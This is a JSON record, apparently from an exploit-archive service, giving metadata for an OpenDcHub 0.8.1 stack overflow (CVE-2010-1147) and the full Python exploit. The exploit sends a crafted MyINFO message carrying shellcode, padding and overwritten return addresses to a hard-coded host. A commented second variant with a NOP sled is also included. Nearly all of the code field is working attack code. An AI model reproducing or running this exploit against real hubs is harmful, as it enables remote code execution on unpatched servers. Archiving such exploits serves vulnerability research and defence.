{"exploit":{"id":"EDB-11986","name":"OpenDcHub 0.8.1 - Remote Code Execution (RCE)","description":"OpenDcHub 0.8.1 - Remote Code Execution (RCE)","cves":["CVE-2010-1147"],"author":"Pierre Nogues","published":"2010-03-31","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/11986","path":"exploits/linux/remote/11986.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-11986.py","vulnerabilities":[{"id":"CVE-2010-1147","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Open Direct Connect Hub (aka Open DC Hub or OpenDCHub) 0.8.1 allows remote authenticated users to execute arbitrary code via a long MyINFO message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-1147","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-1147"},"updatedAt":"2024-08-07T01:14:06.331Z","retrievedAt":"2026-11-26T16:08:11.762Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-11986.png?v=2","url":"https://exploitbin.com/exploits/EDB-11986","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-11986/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-11986/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n#\n# OpenDcHub 0.8.1 Remote Code Execution Exploit\n# Pierre Nogues - http://www.indahax.com\n#\n# Description:\n#     OpenDcHub is a direct connect hub for Linux\n#\n#     OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow.\n#\n# Affected versions :\n#     OpenDcHub 0.8.1\n#\n# Plateforms :\n#     Unix\n#\n# Usage :\n#     ./exploit.py\n\nimport socket\n\nhost = '192.168.1.9'\nport = 5000\n\n# must not contain \\x36 \\x53 \\x00 bytes\n# max shellcode size = 103 bytes use exploit v2 otherwise\nshellcode=\"\\x33\\xc9\\xb1\\x13\\xba\\xf6\\x1d\\xe7\\xfa\\xdb\\xde\\xd9\\x74\\x24\"\nshellcode+=\"\\xf4\\x5e\\x83\\xc6\\x04\\x31\\x56\\x0a\\x03\\xa0\\x17\\x05\\x0f\\x7d\"\nshellcode+=\"\\xf3\\x3e\\x13\\x2e\\x40\\x92\\xbe\\xd2\\xcf\\xf5\\x8f\\xb4\\x02\\x75\"\nshellcode+=\"\\xb4\\x66\\xf5\\xb6\\xe3\\x97\\x37\\x51\\x9c\\x86\\x6b\\xfb\\x0f\\xc2\"\nshellcode+=\"\\x83\\x52\\xe0\\x9b\\x45\\x17\\x6a\\xfd\\xdd\\x55\\xea\\x58\\x59\\xbc\"\nshellcode+=\"\\x5b\\x65\\xa8\\xbf\\xd5\\xe0\\xcb\\x90\\x8d\\x3d\\x03\\x62\\x26\\x29\"\nshellcode+=\"\\x74\\xe6\\xdf\\xc7\\x03\\x05\\x4f\\x44\\x9d\\x2b\\xc0\\x61\\x50\\x2b\"\nshellcode+=\"\\x2b\"\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\ns.send(\"$ValidateNick joseph|\")\n\nhax=\"$MyINFO $ALL joseph \"\nhax+=shellcode\nfor i in range(103 - len(shellcode)):\n     hax+=\"A\"\nhax+=\"$\"\nhax+=\"\\x20\\x81\\x81\\x80\" # esp\nhax+=\"\\xed\\xf6\\xfe\\xbf\" # eip\nhax+=\"S:-1|\"\n\ns.send(hax)\ns.close()\n\n\"\"\"\n# V2\n# more complex version working too, it have more space for the shellcode\n\nhax=\"$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\nhax+=\"\\xFF\\xFF\\xFF\\xFE\" # local var int len of commands.c:my_info() must be a negative value\nhax+=\"TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$\"\nhax+=\"\\x20\\x81\\x81\\x80\" # esp\nhax+=\"\\x80\\xf7\\xfe\\xbf\" # eip\nhax+=\"\\xCC\\xCC\\xCC\\xCC\" # useless var\nhax+=\"\\x10\\xf0\\xfe\\xbf\" # this address + x20 will be overwritten by 4 bytes\n# shellcode time\nhax+=\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\nhax+=\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\nhax+=shellcode\nhax+=\"|\"\n\"\"\"","sha256":"ad399f816f2e6bb0285e87d963941bd7f9a05b0c704059ec15ce11f38a2ddf5d","bytes":2075,"fetchedAt":"2026-11-26T16:08:10.028Z","encoding":"utf-8 (display only; download retains original bytes)"}